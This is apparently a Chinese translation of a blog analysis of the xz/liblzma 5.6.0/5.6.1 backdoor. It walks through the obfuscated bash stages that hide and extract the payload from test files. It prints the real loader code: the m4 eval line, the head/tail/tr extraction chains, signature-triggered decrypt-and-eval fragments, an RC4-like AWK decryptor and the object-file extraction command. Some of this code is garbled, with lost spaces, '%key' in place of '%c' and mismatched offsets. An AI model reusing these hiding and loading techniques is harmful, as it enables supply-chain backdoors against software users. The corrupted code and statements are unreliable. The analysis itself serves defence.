昨天,Andres Freund 通过电子邮件告知 oss-security@ 社区[1],他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门,这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题,实在令人敬佩。他在邮件中对整个事件进行了全面的总结,所以我就不再赘述了。
诚然,这个故事中最吸引眼球、最耐人寻味的部分,无疑是那个经过重重混淆的、藏有后门的二进制文件。然而,勾起我兴趣的,却是 bash 脚本一开始的那几段代码,以及其中运用的简单而巧妙的混淆技法。接下来,就让我们沿着黑客的足迹,一层层揭开这个谜题的面纱,领略大师级的隐藏技巧。不过请注意,我并不打算事无巨细地解释每段 bash 代码的所有功能,而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。
在正式开始之前,有几点不得不提:
  1. 这个后门影响了 xz/liblzma 的两个版本:5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异,我会尽量在分析过程中同时覆盖到它们。
  2. bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段,我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的启动代码。至于潜在的 “Stage 3”,虽然我怀疑它尚未完全成型,但也会略作提及。
  3. 那些经过混淆和加密的代码,以及后面的二进制后门,都藏身于两个看似无害的测试文件中:tests/files/bad-3-corrupt_lzma2.xztests/files/good-large_compressed.lzma。切莫小觑了它们。
让我们先来看看 Stage 0 ——这个谜题的开端。

Stage 0

正如 Andres 所指出的,一切的起点都在 m4/build-to-host.m4[2] 文件。让我们逐步解读其中的玄机:
...

gl_[$
1
]_config=
'sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...

gl_path_map=
'tr "\t \-_" " \t_\-"'
...

  1. 首先,它从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节流,并将其输出,作为下一步的输入。读取完所有内容后,它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。
  2. 第二步是执行 tr 命令,将某些字符 (或字节值) 映射为其他字符。来看几个例子:
    echo"BASH"
     | tr 
    "ABCD""1234"
    21SH

    在这个示例中,“A” 被映射为 “1”,“B” 被映射为 “2”,依此类推。
    我们也可以指定字符范围。例如在上面的示例中,我们只需将 “ABCD” 更改为 “A-D”,并对目标字符集执行相同的操作:“1-4”:
    echo"BASH"
     | tr 
    "A-D""1-4"
    21SH

    类似地,我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以变成 “\061-\064”。
    echo"BASH"
     | tr 
    "\101-\104""\061-\064"
    21SH

    回到我们的代码中,tr "\t \-_" " \t_\-" 对来自 tests/files/bad-3-corrupt_lzma2.xz 文件的字节流做了如下替换:
    这一番调换,实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用,让它重获新生,成为一个合法的 xz 数据流。
    • 0x09 (\t) 被替换为 0x20
    • 0x20 (空格) 被替换为 0x09
    • 0x2d (-) 被替换为 0x5f
    • 0x5f (_) 被替换为 0x2d
  3. 在 Stage 0 的压轴戏中,修复后的 xz 字节流被提取出来,并对过程中的错误选择性地忽略。而这个过程的成果,正是 Stage 1 的脚本,它随即自我执行起来。
接下来,让我们关注 Stage 1 ——那个充满神秘色彩的开端。

Stage 1

在 Andres 的邮件中,Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长,但值得我们仔细研读,并留意 5.6.0 和 5.6.1 版本之间的差异 (以黄色字体做标记):
第一个区别是第二行注释中的随机字节:
  • 在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC
  • 在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17
我不确定这些差异是否有任何意义,但我还是想指出来。
其中一处引人注目的差异是,5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码,并重复出现了 5 次,颇有几分忏悔和自我约束的意味。
下面我们把目光转向 Stage 2 的提取代码,就是那个长度惊人的 export i=... 语句,里面塞满了 head 命令。让我们仔细分析一下它的运作机制:
  1. 开头的 export i=... 其实定义了一个 “函数”,在第 3 步和 Stage 2 中被调用。
  2. 提取 Stage 2 的第一步,是使用 xz 解压 good-large_compressed.lzma 文件,并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。
  3. 紧接着,i “函数” 登场 (eval $i)。这个函数由一系列 head 命令组成,要么输出接下来的 N 个字节,要么彻底忽略它们。
    最初的代码:
    (head -c +1024 >/dev/null)

    这里的 -c +1024 选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意,这里的 + 将会被忽略,它不会做任何事情,这与 tail 命令不一样)。但是,由于输出在这种情况下被重定向到 /dev/null,我们实际得到的是 “跳过接下来的 1024 个字节”。
    值得注意的是,如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节,会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是,在第一个 1024 个字符之后,还隐藏着一些神秘的二进制数据。
    下一个 head 调用看起来和之前几乎相同,只是长度不同:
    head -c +2048

    注意这里的输出不会被忽略,它将作为输入传递给下一步。
    这个模式反复出现:1024 个字节被跳过,然后 2048 个字节被输出,1024 个字节被跳过,2048 个输出...如此循环,直到文件的末尾,在 5.6.0 版本中只输出 724 个字节,而在 5.6.1 版本中只输出 939 个字节。
    为了直观地呈现这一点,这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角;每一列表示文件的 256 个字节,以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域,将蕴藏数据的区域合二为一。
  4. 在下一步中,使用 tail -c +31233 命令丢弃数据的前部 (剧透一下:那里隐藏了一扇二进制后门,它将在下一个阶段被打开,所以现在还用不到它)。在 5.6.0 版本中,丢弃的是前 31264 个字节,而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为 tail -c +N 的意思是 “从第 N 个字节开始输出”,而不是 “忽略前 N 个字节”)。
  5. 第 5 步重新使用了 tr 命令,在这里它被用作一个简单的替换密码,在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射):
    5.6.0: tr 
    "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
    5.6.1: tr 
    "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113""\0-\377"
    根据之前的解释,这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换,值为 6 的字节将被值为 1 的字节替换,依此类推。在每种情况下,都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。
    整个过程反复上演着这样的 “捉迷藏” 游戏:跳过 1024 字节,然后输出 2048 字节,再跳过 1024 字节,再输出 2048 字节…… 直到抵达文件的尽头。
这部分脚本的真正任务,是剔除其中的 “废料”,将有价值的数据部分连缀成完整的数据流。
  1. 下一步中,数据流的前面一大段被果断抛弃。
  2. 往后是借助 tr 命令实施简单的替换加密,5.6.0 和 5.6.1 版本使用了不同的密钥。
  3. 最后,加密后的数据经过解压缩,呈现出 Stage 2 脚本的真容,并立即投入自我执行的怀抱。
现在,让我们进入 Stage 2,一探究竟。

Stage 2

Stage 2 就是 Andres 邮件中提到的 infected.txt[3] 文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒,正是在这里,编译过程遭到了不轨的修改。
以混淆的视角审视这个脚本,有三个片段值得我们特别关注,其中两个仅在 5.6.1 版本中才显露真容

Stage 2 扩展机制

首先是 Stage 2 的 “扩展” 机制:
片段 1:
vs=`grep -broaF 
'~!:_ W'$srcdir
/tests/files/ 2>/dev/null`

iftest"x$vs"
 != 
"x"
 > /dev/null 2>&1;
then
f1=`
echo$vs
 | cut -d: -f1`

iftest"x$f1"
 != 
"x"
 > /dev/null 2>&1;
then
start=`expr $(
echo$vs
 | cut -d: -f2) + 7`

ve=`grep -broaF 
'|_!{ -'$srcdir
/tests/files/ 2>/dev/null`

iftest"x$ve"
 != 
"x"
 > /dev/null 2>&1;
then
f2=`
echo$ve
 | cut -d: -f1`

iftest"x$f2"
 != 
"x"
 > /dev/null 2>&1;
then
[ ! 
"x$f2"
 = 
"x$f1"
 ] && 
exit
 0

[ ! -f 
$f1
 ] && 
exit
 0

end=`expr $(
echo$ve
 | cut -d: -f2) - 
$start
`

eval
 `cat 
$f1
 | tail -c +
${start}
 | head -c +
${end}
 | tr 
"\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
 | xz -F raw --lzma2 -dc`

fi
fi
fi
fi
片段 2:
vs=`grep -broaF 
'jV!.^%'$top_srcdir
/tests/files/ 2>/dev/null`

iftest"x$vs"
 != 
"x"
 > /dev/null 2>&1;
then
f1=`
echo$vs
 | cut -d: -f1`

iftest"x$f1"
 != 
"x"
 > /dev/null 2>&1;
then
start=`expr $(
echo$vs
 | cut -d: -f2) + 7`

ve=`grep -broaF 
'%.R.1Z'$top_srcdir
/tests/files/ 2>/dev/null`

iftest"x$ve"
 != 
"x"
 > /dev/null 2>&1;
then
f2=`
echo$ve
 | cut -d: -f1`

iftest"x$f2"
 != 
"x"
 > /dev/null 2>&1;
then
[ ! 
"x$f2"
 = 
"x$f1"
 ] && 
exit
 0

[ ! -f 
$f1
 ] && 
exit
 0

end=`expr $(
echo$ve
 | cut -d: -f2) - 
$start
`

eval
 `cat 
$f1
 | tail -c +
${start}
 | head -c +
${end}
 | tr 
"\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
 | xz -F raw --lzma2 -dc`

fi
fi
fi
fi
这两个代码片段几乎完全相同,所以让我们可以同时处理这两个片段。它们的作用如下:
  1. 它在 tests/files/ 目录下搜寻 (grep -broaF) 具有特定签名的两个文件:
    Fragment 1: 
    "~!:_ W"
     and 
    "|_!{ -"
    Fragment 3: 
    "jV!.^%"
     and 
    "%.R.1Z"
  2. 如果找到它们,就提取每个文件的偏移量 (cut -d: -f2,假定 : 是字段分隔符,则取第 2 个字段),以第一个偏移量加 7 为 end。
  3. 掌握了 end 这两个关键信息后,脚本就能从第一个文件中提取 end 之间的内容。
    cat 
    $f1
     | tail -c +
    ${start}
     | head -c +
    ${end}
  4. 接下来,它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。
    tr 
    "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
  5. 最后,解密后的数据再次经过解压缩,然后立即执行:
    eval
     `... | xz -F raw --lzma2 -dc`

有趣的是,在我分析的两个版本中,都没有任何文件真正匹配这里的签名。因此,整个过程更像是一种 “插件/补丁” 机制,它允许我们在不修改原始 payload 的前提下,向 Stage 2 中注入新的脚本。
这是一个明智的设计,因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为,可能会引起他人的注意。因此,他们的计划似乎是只添加新的测试文件,这些文件会被选中、解密并执行。

Stage 2 后门提取

然后是 Stage 2 中的后门提取过程。在某个关键时刻,一个 .o 文件会被悄然提取出来,并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋(和之前一样,我将用黄色字体区分两个版本的差异):
两个版本之间的差异,主要体现在压缩后的 payload 大小略有不同(5.6.0 版本的 payload 大小为 88792,而 5.6.1 版本的 payload 大小为 88664),以及 AWK 脚本中的一个神秘常量有所变化。
与前面的步骤如出一辙,提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应,因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印,一步步探寻:
  1. 第一步与 Stage 1的第二步相同,用 xz 解压 tests/files/good-large_compressed.lzma 文件。
  2. 第二步同样与 Stage 1 的第三步一致,调用了先前的那个 “很多 head” 的函数。
  3. 从这里开始,事情就有所不同了。首先,前一步的输出通过 sed 命令进行了修改:
    LC_ALL=C sed 
    "s/\(.\)/\1\n/g"
    这个命令的作用是在每个字节后面添加一个换行符(除了换行符本身)。最终,我们得到了一个每行只有一个字节的输出(没错,这里大量混合了处理文件的"文本"和"二进制"方法)。下一步恰好需要这种格式。
  4. 下一步,一个 AWK 脚本粉墨登场,它对输入流进行类似 RC4[4] 的解密工作。以下是该脚本的美化版本:
    BEGIN {  
    # Initialization part.
      FS = 
    "\n"
    ;  
    # Some AWK settings.
      RS = 
    "\n"
    ;

      ORS = 
    ""
    ;

      m = 256;

    for
    (i=0;i<m;i++) {

        t[sprintf(
    "x%key"
    , i)] = i;

        key[i] = ((i * 7) + 5) % m;  
    # Creating the cipher key.
      }

      i=0;  
    # Skipping 4096 first bytes of the output PRNG stream.
      j=0;  
    # ↑ it's a typical RC4 thing to do.
    for
    (l = 0; l < 4096; l++) {  
    # 5.6.1 uses 8192 instead.
        i = (i + 1) % m;

        a = key[i];

        j = (j + a) % m;

        key[i] = key[j];

        key[j] = a;

      }

    }


    {  
    # Decription part.
    # Getting the next byte.
      v = t[
    "x"
     (NF < 1 ? RS : 
    $1
    )];


    # Iterating the RC4 PRNG.
      i = (i + 1) % m;

      a = key[i];

      j = (j + a) % m;

      b = key[j];

      key[i] = b;

      key[j] = a;

      k = key[(a + b) % m];


    # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
    # with the key, but here for some add is used instead (might be an AWK thing).
    printf"%key"
    , (v + k) % m

    }

  5. 解密后的数据再次通过 xz 解压缩,重获新生。
    xz -dc --single-stream

  6. 最后,使用相同的常用 head 技巧提取从 N(0)到 W(约 86KB)的字节,并将其保存为 liblzma_la-crc64-fast.o——这就是最终的二进制后门文件。
    ((head -c +
    $N
     > /dev/null 2>&1) && head -c +
    $W
    ) > liblzma_la-crc64-fast.o

总结

通过以上分析,我们可以看到,有人煞费苦心地将这个后门隐藏得如此巧妙,令人叹为观止。从将 payload 藏匿于看似无害的二进制测试文件之中,到运用文件提取、替换加密、RC4 变种等技巧,再到将整个过程拆分为多个执行阶段,并预留 “插件” 机制以备将来之需,这一切无不凸显出幕后黑客的心思缜密和技艺精湛。
然而,这个案例也给我们敲响了警钟:如果这样一个精心设计的后门都能被意外发现,那么,还有多少潜藏的威胁尚未浮出水面?我们又该如何及早发现并防范这些威胁?这需要安全社区每一位成员保持警惕,用更加缜密的思维去分析每一处细节,去揭示每一个蛛丝马迹。只有如此,我们才能筑起维护网络安全的坚实防线。
原文链接🔗:https://gynvael.coldwind.pl/?lang=en&id=782

引用链接

[1]
Andres Freund 通过电子邮件告知 oss-security@ 社区: https://www.openwall.com/lists/oss-security/2024/03/29/4
[2]
m4/build-to-host.m4: https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
[3]
infected.txt: https://www.openwall.com/lists/oss-security/2024/03/29/4/1
[4]
RC4: https://en.wikipedia.org/wiki/RC4
加入 Sealos 开源社区
体验像个人电脑一样简单的云操作系统
🏠官网链接
https://sealos.run
🐙GitHub 地址
https://github.com/labring/sealos
📑访问 Sealos 文档
https://sealos.run/docs/Intro
🏘️逛逛论坛
https://forum.laf.run/

往期推荐

关于 Sealos

Sealos 是一款以 Kubernetes 为内核的云操作系统发行版。它以云原生的方式,抛弃了传统的云计算架构,转向以 Kubernetes 为云内核的新架构,使企业能够像使用个人电脑一样简单地使用云。
关注 Sealos 公众号与我们一同成长👇👇👇
继续阅读
阅读原文